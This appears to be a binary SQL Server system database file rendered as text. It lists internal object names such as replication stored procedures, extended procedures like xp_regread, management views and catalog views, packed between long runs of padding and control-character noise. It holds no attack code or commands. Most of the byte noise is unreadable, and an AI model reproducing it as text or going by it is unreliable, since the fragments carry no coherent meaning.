6master_key_passwords&messages&(&master_files!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z0R
t
*
Ln$

F
		h		@LDT$.@ ZbvJ0
6:t*`0O"^Zu00
$V QPmP|dm_exec_query_transformation_stats00'X #7Q$7Q^sp_enable_sql_debug00	V>P ES6dYTsp_MSlocktable00IX ͆YRYZxp_availablemedia00*RX QQrsp_http_generate_wsdl_complex00kX Y1Ylxp_sysmail_attachment_load00>pP BV5Whsp_MSsubscription_status00;sP VNlYlsp_MSdrop_subscription_3rd00>uX YĉYNxp_sqlmaint00mzP UdhYtsp_MSisnonpkukupdateinconflict00GP uUgYlsp_MSget_synctran_commands00\“P M VhYZsp_MSgetdbversion00P NoO\sp_fulltext_column00oSAFQQpGeographyConvexHullAggregate00ۥP !T
Uhsp_getagentparameterlist00h޲P NUnhYXsp_MSdefer_check00{iV P#Pzdm_exec_query_resource_semaphores00CP VSDT\sp_MSreplraiserror00P EUcV\sp_helppublication00V EVeVXdm_repl_traninfo00P XYƉYXsp_MShasdbaccess00IFUN~Ndm_cryptographic_provider_algorithms00P صW^WVsp_cdc_drop_job00T.P VhYdsp_MScheck_pull_access00P UzhYbsp_IHadd_sync_command00yP TaYfsp_MSflush_access_cache00ЅP eTaYnsp_MShelp_replication_table00V P Pvdm_db_missing_index_group_stats00P UdVpsp_register_custom_scripting00$MP TU^sp_adddistpublisher00oX YYdxp_prop_oledb_provider00P WnYdsp_MSchangeobjectowner00P XXbsp_MSenumschemachange00x"P WdnYZsp_MSaddguidindex00 )P kXkXVsp_MSgetpubinfo00/V \QzQrdm_pdw_nodes_os_cluster_nodes00SX +Q2Qxsp_rollback_parallel_nested_tran00JcYV QQtdm_pdw_component_health_alerts00_^P SeYZsp_repldropcolumn00_nP I	Rq	RNsp_catalogs00rP QJQdsp_dbmmonitorhelpalert00{P TXTXtsp_MScheck_subscription_expiry00uP gT%Ubsp_helpsubscriberinfo00]P >X>Xbsp_cleanmergelogfiles00pJP 1SdYnsp_MSensure_single_instance00'V NNhdm_fts_population_ranges001	P `YYbsp_MSSQLDMO80_version004P SdYdsp_setreplfailovermode00P SVmeVhsp_MSchange_originatorid00V lQ>lQbtrace_subclass_values00P V+lYfsp_MSenum_subscriptions00GX +QH2QLsp_execute00:|P $W_Wdsp_cdc_get_ddl_history00SV QQldm_os_performance_counters00\FN…W`W\fn_cdc_hexstrtobin00RP uXpYnsp_MSsetup_partition_groups00P 6Y	7Yvsp_MSupdategenerations_afterbcp00P aWlW~sp_check_log_shipping_monitor_alert00RP RCTsp_MStrypurgingoldsnapshotdeliveryprogress001P Vx6Wpsp_dropanonymoussubscription00`#P PQrsp_dbmmonitorchangemonitoring00#P T0
Ubsp_publicationsummary00v%P YЭYRsp_MSmatchkey00='P QDQZsp_validatelogins00.P YYVsp_MSdelgenzero00G2P Y
sYhsp_MSmakebatchupdateproc00;P %PQXsp_user_counter8006QP SZeYpsp_MSinit_subscription_agent00QVVP 	QQRsp_addmessage00WP 5V<5Wjsp_MSadd_subscription_3rd00n6YP n3SdY^sp_MSunmarkreplinfo00cZ^P MLQhLQ\sp_helpremotelogin00^X ;?TDTPsp_replflush00a_P QՑQVsp_remoteoption00:PjP l`XpYhsp_helpmergeconflictrows00.nP SUeY^sp_getpublisherlink00P oQՑQbsp_droplinkedsrvlogin00P R֊Rnsp_constr_col_usage_rowset200ӘV RͷRDTABLES!!J.$h86bfr<&\.^$|
n

Dv
,
	f		8(V~"\.Z:`0M"D"[n00/P RוR\sp_bcp_dbcmptlevel00!P -Vw6W^sp_MSchange_article00eP oRCTnsp_MSregistermergesnappubid00cP KPdQRsp_getapplock00%P <X<X`sp_helpmergelogfiles00b;FNRCTbfn_replformatdatetime00X 7Q7QTxp_loginconfig00FSVRcR^fn_repl_hash_binary00P NXbXrsp_MSuploadsupportabilitydata00VV PPRdm_os_workers00FNaVneVjfn_replp2pversiontotranid00P {UhYrsp_MShelp_subscription_status00P SWlW~sp_MSget_log_shipping_new_sessionid00ZP ŦUdVhsp_MSscriptcustominsproc00j+X QQpsp_http_generate_wsdl_simple00V,P (XPpY^sp_helpmergearticle00$L4P #W7Wdsp_MSreset_transaction00Jc9P 6GWlWsp_delete_log_shipping_primary_secondary00+@X YxYxxp_instance_regremovemultistring00pCV QطQzdm_pdw_nodes_exec_procedure_stats00OP dTYaYpsp_MSrepl_getdistributorinfo00mZUP MUUtsp_startpushsubscription_agent00^^P aUcV\sp_changesubstatus00hoP N)NRsp_procoption00lˣP 1gT`aYfsp_enumoledbdatasources00P UahYjsp_MSispkupdateinconflict00:P QDQRsp_grantlogin003P dRvR^sp_datatype_info_9000P VdVbsp_MShelp_publication00CP VhlYpsp_MSagent_retry_stethoscope00P #UeVXsp_validatecache00e)V QQZpdw_health_alerts00V RRdCONSTRAINT_TABLE_USAGE00EV QQbdm_pdw_nodes_os_nodes00wP 6VkYbsp_MSadd_subscription00,P R,Rfsp_column_privileges_ex00|V QQldm_pdw_query_stats_xe_file00P gXgXtsp_helpmergealternatepublisher00V PPndm_xe_session_event_actions00E+6P bVlYnsp_MShelptracertokenhistory00y9IFPP|dm_logconsumer_privatecachebuffers00BLP MYNYlsp_MShaschangeslightweight00OMP 1UcV`sp_changepublication00SX ",Q2QXsp_resyncexecute002WP &FY5FYsp_MScreatelightweightprocstriggersconstraints00
YP VFWlWsp_add_log_shipping_primary_secondary001\FSRRZfn_cdc_is_bit_set00nP T0
Udsp_subscriptionsummary00P [Q`Qtsp_help_fulltext_tables_cursor00$P 7V5Whsp_MSenum_distribution_s00(P ˛RۛR^sp_usertypes_rowset00/P RRrsp_procedure_params_90_rowset00sP [Y>Yhsp_MSSetServerProperties00fP R4Rdsp_tablecollations_10000LCP RRjsp_tables_info_rowset2_6400hrP V7Wsp_MShelpdynamicsnapshotjobatdistributor00oP LVkYjsp_MSget_last_transaction00bĶV R!RZCOLUMN_PRIVILEGES00=P YsYVsp_MSuniquename00gP MXrYdsp_MShelpmergeidentity00.P V*6Wnsp_MSdist_activate_auto_sub00P 'TaY\sp_MSget_oledbinfo00VuV PP\dm_db_script_level00RP SRSRfsp_foreign_keys_rowset200YV NNddm_server_audit_status00V QQ`dm_pdw_request_steps00!P SCTbsp_MSget_attach_state00GV QQPdm_pdw_waits00ȯP f^R^Rdsp_indexes_100_rowset200,P }YYZsp_MSdbuseraccess00
P V7lYhsp_MSadd_merge_history9000V QQldm_pdw_nodes_os_sys_memory007o/P UeV\sp_IHScriptIdxFile0076P lSCTbsp_MSchange_retention00>P N4NLsp_addtype00ZGV PPndm_io_cluster_shared_drives00%xOX dQdQZsp_trace_setevent!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!ZP|"nH*X>LHpH`>
z

d4
x

	d	Dl|N:`0J"d[xP]`00PX YYZxp_sqlagent_param00}QP viSsdYfsp_subscription_cleanup00%UP WWtsp_MSaddmergetriggers_internal00&WAFQqQnGeometryCollectionAggregate00(fP 7UphY^sp_MSreenable_check00YjV 1QEQbpdw_health_components00pP YYdsp_MSgetsubscriberinfo00yV Q<Qxdm_pdw_nodes_db_file_space_usage00z
P UeVZsp_helpxactsetjob00.P YY`sp_MSscriptdb_worker00X (Q1QVsp_cursoroption00^P dWlWvsp_cleanup_log_shipping_history00V QQXdm_pdw_dms_cores00qKP p1Q'3QFsp_who200P \WlWsp_help_log_shipping_monitor_secondary00ΝV @Q\Qavailability_group_listener_ip_addresses00DV QQfdm_pdw_nodes_os_threads00׵P N*Nsp_estimated_rowsize_reduction_for_vardecimal00pP N)SdYTsp_MSNonSQLDDL00&V 
P+PNdm_os_tasks00V ^Q`Qffulltext_document_types00P W|nY^sp_MSmakegeneration00nP kNYNZsp_revokedbaccess00TP -TeYvsp_adjustpublisheridentityrange00O3V PĵPtdm_db_fts_index_physical_stats00NP SdYjsp_check_for_sync_trigger00iP ?WlWsp_add_log_shipping_primary_database00gX YYTxp_regenumkeys00P \XpYsp_MSclear_dynamic_snapshot_location00PP XXzsp_MScheck_subscription_partition000P  RCTpsp_MShelpreplicationtriggers000P 7Y7Yvsp_MScreate_tempgenhistorytable00X QEQvsp_control_dbmasterkey_password005TFiQiQdfn_trace_getfilterinfo00P TYtYsp_MScreatelightweightmultipurposeproc004/P ʅRׅRpsp_tables_info_90_rowset2_6400'&1P 5Y6Ypsp_MSsetreplicaschemaversion00Ք2X hyQiyQpsp_xp_cmdshell_proxy_account001:P !TDTpsp_MSscriptforeignkeyrestore004XTFSCTjfn_replgetcolidfrombitmap00IcP -2XdpYfsp_dropmergepublication00rP zNN`sp_helpsrvrolemember00FuFN1SCT`fn_IsBitSetInBitmask00͌X YYXxp_regenumvalues00kV QQdm_pdw_nodes_os_memory_node_access_stats00L^V jQQnpdw_health_component_groups00P 9Y9Y`sp_MScheckIsPubOfSub00V QQtdm_pdw_nodes_os_process_memory00LX Y!YXsp_OASetProperty00MP NWlWsp_help_log_shipping_secondary_primary00P SdYdsp_addsynctriggerscore00IV QQtdm_pdw_os_performance_counters00
P 2NNsp_estimate_data_compression_savings00lP XnYfsp_MSgenerateexpandproc00P /pXpYxsp_MShelpmergedynamicsnapshotjob00P }XpYsp_MSupdate_singlelogicalrecordmetadata00P bP7QJsp_helpdb00=+"TFhQiQbfn_trace_geteventinfo00[B1P ^WlWxsp_delete_log_shipping_alert_job0082P zSCTxsp_getsubscriptiondtspackagename0073P SDTzsp_vupgrade_replsecurity_metadata00T6P QDQRxp_grantlogin006V vQQdm_pdw_nodes_os_memory_cache_counters00PX ՆYYLxp_subdirs00kUP vV5Wbsp_MSanonymous_status00J'aPC@}Yn}Ysp_FuzzyLookupTableMaintenanceInstall00bbV zNNNlogin_token00gP *NZN`sp_changeobjectowner00GnP YYXsp_MStablechecks00AP X܋Xdsp_check_subset_filter00˂P UcVrsp_marksubscriptionvalidation00܈P vXXfsp_MSgetmetadatabatch9000_P .YRY\sp_MSloginmappings00jP CNNZsp_helprolemember!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Rz^,^@p:^<|<\h

.Z
p
		,	h4F|$X&` `0O"N[?u004P E_Q`Q~sp_help_fulltext_catalog_components00P MR)MRpsp_sparse_columns_100_rowset00JIF Q Qfdm_exec_plan_attributes00]rP bUcVxsp_script_reconciliation_delproc00P KR"LRdsp_columns_100_rowset200P |VkYbsp_MSdrop_merge_agent00P rTUZsp_dropsubscriber00ƔP pxXxX`sp_addmergepartition00cV SPoPTdm_xe_packages00V QQbdm_pdw_online_backups00
?FN@W`Wdfn_cdc_map_time_to_lsn00P NZNtsp_SetAutoSAPasswordAndDisable00-V dPPXdm_logpool_stats001V QQVpdw_diag_events00L6P VkYjsp_MSdrop_subscriber_info00xAP ^NNNsp_renamedb00cFV B5N~5Nnfulltext_semantic_languages00pQP MQSQLsp_depends00xTFNRcY\fn_cColvEntries_8000_V QQdm_pdw_nodes_os_memory_cache_clock_hands00t#cP QՑQVsp_serveroption00
GhP ŹV)6W\sp_MSenum_merge_sd00SsP RCTsp_MSreleasesnapshotdeliverysessionlock00-tX (Q1QXsp_cursorprepare00zX 7Q7QLxp_sprintf00@P MXpYdsp_MSenumpubreferences00H.P (xRxR`sp_procedures_rowset00X +Q2QTsp_droporphans00X4P HRIR`sp_columns_90_rowset00V QQZdm_pdw_os_threads000P PYtYxsp_MScreatelightweightinsertproc00P UdVhsp_MSscriptcustomdelproc00;P ڔUcVhsp_MSscript_pub_upd_trig00zX 6eQWeQ\sp_trace_setfilter00P /YYVsp_MStablespace00-X CTDTbsp_repl_generateevent00uV Q2Qjspatial_reference_systems00tP mYYYYtsp_MSuselightweightreplication00s>P w_R_Rbsp_indexes_rowset_rmt00f6P UhYbsp_IH_LR_GetCacheData00sP P7QPsp_spaceused00J,P cV*6Wfsp_MSadd_replmergealert00P XX^sp_MSsetreplicainfo00="P f{R|R`sp_statistics_rowset00o+P XXdsp_MSsetconflictscript00q7V P8P\dm_os_memory_nodes00/9P CTbYsp_MSrepl_IsLastPubInSharedSubscription00U<P ֯W^Wnsp_cdc_cleanup_change_table00ICP wQxQsp_kill_filestream_non_transacted_handles00$JX YʼnYXxp_create_subdir00.KP 6XGXhsp_MSchange_mergearticle00aLP ϖUcVjsp_scriptsubconflicttable00oVP W`W`sp_cdc_dbsnapshotLSN00vV PPbdm_tran_version_store007vV QQldm_pdw_nodes_os_wait_stats00%?wP SDTfsp_MSreset_attach_state00P %VmlYrsp_MSfetchAdjustidentityrange00P ;\XpYpsp_MShelpmergeconflictcounts00P @9XipY`sp_MSpublicationview00O؉V 3QQQdm_pdw_nodes_exec_background_job_queue_stats00BV PP\dm_os_windows_info00V PP^dm_os_cluster_nodes00P F
Rg
R`sp_column_privileges00kP LXpY\sp_helpmergefilter00.P cXsXNsp_MSdelrow00߮P eT%Ujsp_MSdistributoravailable00X Y=YLxp_regread00FP XTUdsp_add_agent_parameter00W6P ܧT&Unsp_check_publication_access008~V PP`dm_os_process_memory00!P RRjsp_tables_info_90_rowset200-P XX`sp_MSgetreplicastate00.P GVkY\sp_MSget_min_seqno00m=P ݺW_WXsp_cdc_restoredb00CX †YYhxp_instance_regdeletekey00lFX +Q2QVsp_getbindtoken00HX YYfxp_sysmail_format_query00i0XP ,WF7Wrsp_replmonitorhelppublication00XP SdYbsp_check_sync_trigger!!!!!!!!!!!!!!!!!!zVBx
ZF,<Z&\^:&H

4
d2
~

	v	>ZR:bL,N`0L"H [t a00ZP WlYfsp_MSreplagentjobexists00]P BUcVbsp_helparticlecolumns00
`P *SeYbsp_attachsubscription00P 50RG8RJsp_ddopen00ΑP V4Wsp_MSmerge_log_identity_range_allocations007P V5Wpsp_MSget_repl_cmds_anonymous00*P dX|Xtsp_MSgetsupportabilitysettings00MP RCTxsp_resetsnapshotdeliveryprogress00P %R%RXsp_sproc_columns00P XrYlsp_MSgetconflictinsertproc00P tVlYjsp_MScheck_snapshot_agent00.P gXRYRZsp_indexes_rowset00P XXhsp_MSgetalternaterecgens00P sWW`sp_MScdc_capture_job00UP 3VlYhsp_MSadd_logreader_agent00X (Q1QXsp_cursorexecute00P WlYsp_MSchange_snapshot_agent_properties00W|V _QvQjpdw_diag_event_properties00ǕP STbYxsp_MSrepl_createdatatypemappings00
V PPRdm_xe_objects00P zjRjRZsp_tables_rowset200P oS}dYnsp_addmergepullsubscription00YV YPuP`dm_xe_object_columns00P  SCTlsp_resyncmergesubscription00%P cTSMdYsp_MSenumthirdpartypublicationvendornames00tP ~?X?Xdsp_addmergelogsettings00%P HTU^sp_replincrementlsn00F%0P ?V5lYdsp_MSadd_merge_history002P 7VmeV`sp_helppeerresponses00:VP V~lYxsp_MSenum_merge_agent_properties00]`P RRLsp_columns00mP YXrY^sp_MSgetlastsentgen00uP YYfsp_MShelpfulltextscript007P P7Q\sp_objectfilegroup00ŁP >UcVjsp_publication_validation00OՙP LY8YZsp_MSgetalertinfo00P }3UcVbsp_changesubscription00TGPCF~YS~Ysp_FuzzyLookupTableMaintenanceInvoke00OFN4W@jYjfn_cdc_has_column_changed00V QQfdm_pdw_nodes_tran_locks00V PPhdm_clr_loaded_assemblies00X ^,Q2Qbsp_get_query_template00jP aXpYtsp_helpmergedeleteconflictrows00RP #RRsp_syspolicy_subscribe_to_policy_category004P UKhYTsp_replrestart00V һQQ~dm_pdw_nodes_io_pending_io_requests00V5FN_.Y.Yffn_numberOf1InVarBinary00oP V6Wlsp_MSdistpublisher_cleanup002P `TUfsp_change_agent_profile00'P WnnYxsp_MSgetmakegenerationapplock_9000uP VylYdsp_MSrefresh_anonymous00V }N(}Njcolumn_store_dictionaries00V |N|Nbcolumn_store_segments00V NNxfiletable_system_defined_objects00V NNLfiletables00V a^Ns^NJsequences00V 6N7Npregistered_search_properties00V e7N7Nxregistered_search_property_lists00V 5N6N\fulltext_stopwords00V a6N6N\fulltext_stoplists00	V 7N7Nhfulltext_index_fragments00
V {N|Ndatabase_audit_specification_details00V ={N]{Nrdatabase_audit_specifications00V 2N?Nfconversation_priorities00
V 6+NE+Ndchange_tracking_tables00V /N/Nnspatial_index_tessellations00V .N/NVspatial_indexes00V 0N0Ndfunction_order_columns00V wNwNnsql_expression_dependencies00V CNDNNtable_types00V (N(N\system_sql_modules00V }NNzsystem_internals_allocation_units00V NN|system_internals_partition_columns00V N,Nnsystem_internals_partitions00V vNvNNplan_guides00V @N@Ndmodule_assembly_usages!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!n
`8fJvp,P~FH~.r
F
$`

	H	.Lr
B~B^(`0W":\u@00V %EN;EN`type_assembly_usages00V 3N3Nrfulltext_index_catalog_usages00V wMNMN`service_queue_usages00 V #N#Nbparameter_type_usages00!V :"NO"N\column_type_usages00"V KNLNmessage_type_xml_schema_collection_usages00#V  #N4#Nparameter_xml_schema_collection_usages00$V !N!N~column_xml_schema_collection_usages00+V tNtNVasymmetric_keys00,V *N*NVinternal_tables00-V WsNqsNPcertificates00.V vN!vNXcrypt_properties00/V UuN{uNVkey_encryptions000V tN5tNTsymmetric_keys001V -iNSiNdxml_schema_collections002V pNpN\transmission_queue003V 5pN[pNDroutes004V :oNYoNfremote_service_bindings005V nNnNvxml_schema_component_placements006V AnNSnNtxml_schema_wildcard_namespaces007V mNmN`xml_schema_wildcards008V .mNMmNbxml_schema_attributes009V lNlNfxml_schema_model_groups00:V kNlN^xml_schema_elements00;V RkN^kNZxml_schema_facets00<V jNjNXxml_schema_types00=V 1jNXjNbxml_schema_components00>V iNiNbxml_schema_namespaces00?V cNcN^extended_properties00@V TbNlbNTdatabase_files00AV bON|ONdconversation_endpoints00BV NNNN^conversation_groups00CV `NNtNNfservice_contract_usages00DV MN+MNHservices00EV LNLNvservice_contract_message_usages00FV OLNfLNZservice_contracts00GV KNKNbservice_message_types00HV QJN|JNZfulltext_catalogs00IV ININfdestination_data_spaces00JV OINuINZpartition_schemes00KV HNHNLfilegroups00LV bHNoHNNdata_spaces00MV GN
HNdpartition_range_values00NV GNGN`partition_parameters00OV GN*GN^partition_functions00PV FNFN^assembly_references00QV FNBFNTassembly_files00RV ENENLassemblies00SV =dNWdN`database_permissions00TV _N_Nbdatabase_role_members00VV _N9_N^database_principals00WV 7]NK]NFschemas00XV DNDNTassembly_types00YV KCNsCNBtypes00ZV BNBNXsql_dependencies00[V MNNNTservice_queues00\V ]N]NHsynonyms00]V :BNJBNrnumbered_procedure_parameters00^V ANAN^numbered_procedures00_V P@N`@NXassembly_modules00`V $N$NNsql_modules00aV <>NV>NTtrigger_events00bV =N=NDevents00cV <N<N^event_notifications00dV W;N;NHtriggers00eV :N:NLprocedures00fV U:N|:N^foreign_key_columns00gV 9N9NPforeign_keys00hV G9Nu9N^default_constraints00iV 8N8NZcheck_constraints00jV G8Nr8NVkey_constraints00kV 4N4Ndfulltext_index_columns00lV #3N03NXfulltext_indexes00mV f2N2NRstats_columns00nV 1N1NBstats00oV `0N0NRindex_columns00pV JcNocNXallocation_units00qV bNbNLpartitions00rV 4.NU.NNxml_indexes00sV e-N-NFindexes00tV ,N,NXidentity_columns00uV +N,NXcomputed_columns00vV %N&&NZsystem_parameters00wV "N"NLparameters00xV %N%NTsystem_columns00yV b!N!NFcolumns00zV 'N'NPsystem_views!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.0DNbNBPjBNrRT2>~
L

@*
f

	V	.D>02^P2`0X"."\攫00{V &N&NTsystem_objects00|V :qNeqN^extended_procedures00}V #N$NBviews00~V )N*NDtables00V }NNFobjects00V w~N~Nresource_governor_resource_pool_affinity00V ?NQNndatabase_filestream_options00V 4N4Nfulltext_semantic_language_statistics_database00V zNzN|server_audit_specification_details00V zN7zNnserver_audit_specifications00V yNyN\server_file_audits00V xNxNRserver_audits00V [N[Njchange_tracking_databases00V 9eN]eNpserver_principal_credentials00V rNrNfcryptographic_providers00V ~N-~Nxresource_governor_resource_pools00V >NUNzresource_governor_workload_groups00V }N}Nvresource_governor_configuration00V ёNNbserver_event_sessions00V ʒNNpserver_event_session_targets00V ǓNNnserver_event_session_fields00V TNfNnserver_event_session_events00V ZNoNpserver_event_session_actions00
V eNeN`master_key_passwords00V \N\Nhdatabase_recovery_status00V ?\Nf\N\database_mirroring00V dNdNNcredentials00V 2ANDANfserver_assembly_modules00V ?N?N\server_sql_modules00V G?N\?Nbserver_trigger_events00V ;N<NVserver_triggers00V TN4TNpdatabase_mirroring_endpoints00V >N>NRserver_events00V 1=NP=Nlserver_event_notifications00V TNTN^endpoint_webmethods00V KSNoSNhservice_broker_endpoints00V RNRNTsoap_endpoints00V QNQNRvia_endpoints00V 8QNcQNRtcp_endpoints00V PNPNThttp_endpoints00V ONONJendpoints00V "KNAKNHmessages00 V tUNUNTconfigurations00!V oNoNLsql_logins00"V hNhNRlinked_logins00#V [hNohNRremote_logins00$V gN
hNFservers00%V ,gNEgN\server_permissions00&V fNfN^server_role_members00'V VfNcfNZserver_principals00(V saNaNPmaster_files00)V t`N`NTbackup_devices00*V `N`Npdatabase_mirroring_witnesses00+V  [N?[NJdatabases00,V NڊNLsysservers00-V 0N]NVsysremotelogins00.V .Q&3QPsysprocesses00/V !QBQNsysperfinfo000V PPPsysopentapes001V NNRsysoledbusers002V 3NDNNsysmessages003V NNJsyslogins004V 9PWPNsyslockinfo005V VNhNLsysdevices006V NNPsysdatabases007V %Q%QVsyscursortables008V $Q$QLsyscursors009V o$Q$QRsyscursorrefs00:V 4%QR%QXsyscursorcolumns00;V NNRsyscurconfigs00<V N	NRsysconfigures00=V EZN~ZNNsyscharsets00>V YN	ZNPsyslanguages00?V #Q#QVsyscacheobjects00@V nN{NNsysaltfiles00qV eNNHsysfiles00rV 3NGNRsysfilegroups00sV NNLsysmembers00tV āNNHsysusers00uV ςNNHsystypes00vV NNRsysreferences00wV نNNNsysprotects00xV gNNTsyspermissions00yV NNPsysindexkeys00zV N4NLsysindexes00{V ·NN^sysfulltextcatalogs00|V NNTsysconstraints00}V @NONTsysforeignkeys!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z,D^r"0:Hbr"6r"jv$<L>
t
"
\8

&
	V	z
